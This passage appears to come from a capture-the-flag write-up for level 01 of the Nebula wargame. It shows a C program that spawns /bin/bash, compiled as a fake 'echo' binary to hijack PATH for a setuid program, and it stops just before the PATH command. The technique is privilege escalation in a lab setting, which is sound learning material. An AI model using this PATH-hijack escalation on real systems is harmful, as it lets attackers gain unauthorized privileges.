The binary file is located in /home/flag01/flag01. After executing it simply echoes the "and now what?" message. It's easy to spot that we have an absolute path to env but echo execution could be altered. We'll achieve this by creating a simple C program in the /home/level01:

#include <stdlib.h>
#include <stdio.h>

void main()

{
system("/bin/bash");
}

Now we need to compile it:

level01@nebula:~$ gcc -o echo 1.c

In the next step we will alter the PATH variable value with the following command: